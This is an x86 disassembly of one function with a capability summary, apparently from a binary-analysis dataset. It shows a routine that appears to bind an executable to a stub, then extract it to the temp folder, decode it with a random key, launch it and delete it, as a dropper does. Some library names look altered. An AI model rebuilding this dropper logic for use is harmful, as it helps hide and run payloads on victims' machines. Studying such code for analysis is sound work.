Function at 0x4023e0
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402e4c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5d0
push ebx
push esi
push edi
lea ecx, [ebp - 0x470]
call fcn.00401010
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x228]
call fcn.00401c00
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_354
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_354
mov byte [ebp - 4], 3
mov dword [ebp - 0x14], 0
push 0
call dword [sym.imp.KERNEL22.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL22.dll_GetModuleHandleA]
push eax
call sub.MFC22.DLL_Ordinal_1575
test eax, eax
jne 0x402472
mov dword [ebp - 0x14], 1
jmp 0x402ad2
lea ecx, [ebp - 0x228]
call fcn.00402290
and eax, 0xff
test eax, eax
je 0x4026e1
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL22.dll_GetTempPathA]
push 0x104
lea ecx, [ebp - 0x578]
push ecx
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x228]
call fcn.00401e50
push 0
push 0
lea eax, [ebp - 0x578]
push eax
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_5186
test eax, eax
jne 0x402528
mov dword [ebp - 0x590], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.00401c50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.00401050
mov eax, dword [ebp - 0x590]
jmp 0x402b20
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_3318
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 9
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.MFC22.DLL_Ordinal_823
add esp, 4
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x474], eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x474]
push edx
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_5442
push 9
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_5442
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_1979
lea ecx, [ebp - 0x124]
push ecx
lea ecx, [ebp - 0x470]
call fcn.00401be0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x474]
push eax
lea ecx, [ebp - 0x470]
call fcn.00401b40
mov dword [ebp - 0x57c], eax
push 0
push 0x1001
lea ecx, [ebp - 0x578]
push ecx
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_5186
test eax, eax
jne 0x40266b
mov edx, dword [ebp - 0x474]
mov dword [ebp - 0x598], edx
mov eax, dword [ebp - 0x598]
push eax
call sub.MFC22.DLL_Ordinal_825
add esp, 4
mov ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x59c], ecx
mov edx, dword [ebp - 0x59c]
push edx
call sub.MFC22.DLL_Ordinal_825
add esp, 4
mov dword [ebp - 0x5a0], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.00401c50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.00401050
mov eax, dword [ebp - 0x5a0]
jmp 0x402b20
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x57c]
push ecx
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_6385
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_1979
mov edx, dword [ebp - 0x474]
mov dword [ebp - 0x5a4], edx
mov eax, dword [ebp - 0x5a4]
push eax
call sub.MFC22.DLL_Ordinal_825
add esp, 4
mov ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x5a8], ecx
mov edx, dword [ebp - 0x5a8]
push edx
call sub.MFC22.DLL_Ordinal_825
add esp, 4
push 1
push 0
push 0
lea eax, [ebp - 0x578]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x402ad2
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
lea ecx, [ebp - 0x584]
call sub.MFC22.DLL_Ordinal_537
mov byte [ebp - 4], 4
push str..exe
lea ecx, [ebp - 0x584]
call sub.MFC22.DLL_Ordinal_941
cmp dword [ebp + 8], 3
jge 0x40276f
mov dword [ebp - 0x5ac], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x584]
call sub.MFC22.DLL_Ordinal_800
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.00401c50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.00401050
mov eax, dword [ebp - 0x5ac]
jmp 0x402b20
push 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp - 0x584]
push edx
call dword [sym.imp.KERNEL22.dll_CopyFileA]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x5d4], ecx
mov edi, dword [ebp - 0x5d4]
lea edx, [ebp - 0x228]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 8]
push edx
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_5186
test eax, eax
jne 0x402837
mov dword [ebp - 0x5b0], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x584]
call sub.MFC22.DLL_Ordinal_800
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.00401c50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.00401050
mov eax, dword [ebp - 0x5b0]
jmp 0x402b20
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_3318
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
call sub.MFC22.DLL_Ordinal_823
add esp, 4
mov dword [ebp - 0x5b4], eax
mov ecx, dword [ebp - 0x5b4]
mov dword [ebp - 0x580], ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x580]
push eax
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_5442
lea ecx, [ebp - 0x118]
push ecx
push 0x104
call dword [sym.imp.KERNEL22.dll_GetTempPathA]
lea edx, [ebp - 0x5b8]
push edx
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_3176
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [eax]
mov dword [ebp - 0x5dc], ecx
mov edi, dword [ebp - 0x5dc]
lea edx, [ebp - 0x118]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x5b8]
call sub.MFC22.DLL_Ordinal_800
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_1979
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
mov dword [ebp - 0x588], 0
jmp 0x40292c
mov eax, dword [ebp - 0x588]
add eax, 1
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 8
jge 0x40294a
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [ebp - 0x588]
mov byte [ebp + ecx - 0x124], al
jmp 0x40291d
mov byte [ebp - 0x11c], 0
lea edx, [ebp - 0x124]
push edx
lea ecx, [ebp - 0x470]
call fcn.00401be0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x580]
push ecx
lea ecx, [ebp - 0x470]
call fcn.00401ab0
mov dword [ebp - 0x58c], eax
push 0
push 0x1001
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_5186
test eax, eax
jne 0x402a39
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x5bc], eax
mov ecx, dword [ebp - 0x5bc]
push ecx
call sub.MFC22.DLL_Ordinal_825
add esp, 4
mov edx, dword [ebp - 0x58c]
mov dword [ebp - 0x5c0], edx
mov eax, dword [ebp - 0x5c0]
push eax
call sub.MFC22.DLL_Ordinal_825
add esp, 4
mov dword [ebp - 0x5c4], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x584]
call sub.MFC22.DLL_Ordinal_800
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.00401c50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.00401050
mov eax, dword [ebp - 0x5c4]
jmp 0x402b20
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x58c]
push edx
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_6385
push 9
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_6385
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_1979
mov ecx, dword [ebp - 0x580]
mov dword [ebp - 0x5c8], ecx
mov edx, dword [ebp - 0x5c8]
push edx
call sub.MFC22.DLL_Ordinal_825
add esp, 4
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x5cc], eax
mov ecx, dword [ebp - 0x5cc]
push ecx
call sub.MFC22.DLL_Ordinal_825
add esp, 4
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x228]
call fcn.00401c60
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL22.dll_DeleteFileA]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x584]
call sub.MFC22.DLL_Ordinal_800
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5d0], ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x238]
call sub.MFC22.DLL_Ordinal_665
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.00401c50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.00401050
mov eax, dword [ebp - 0x5d0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret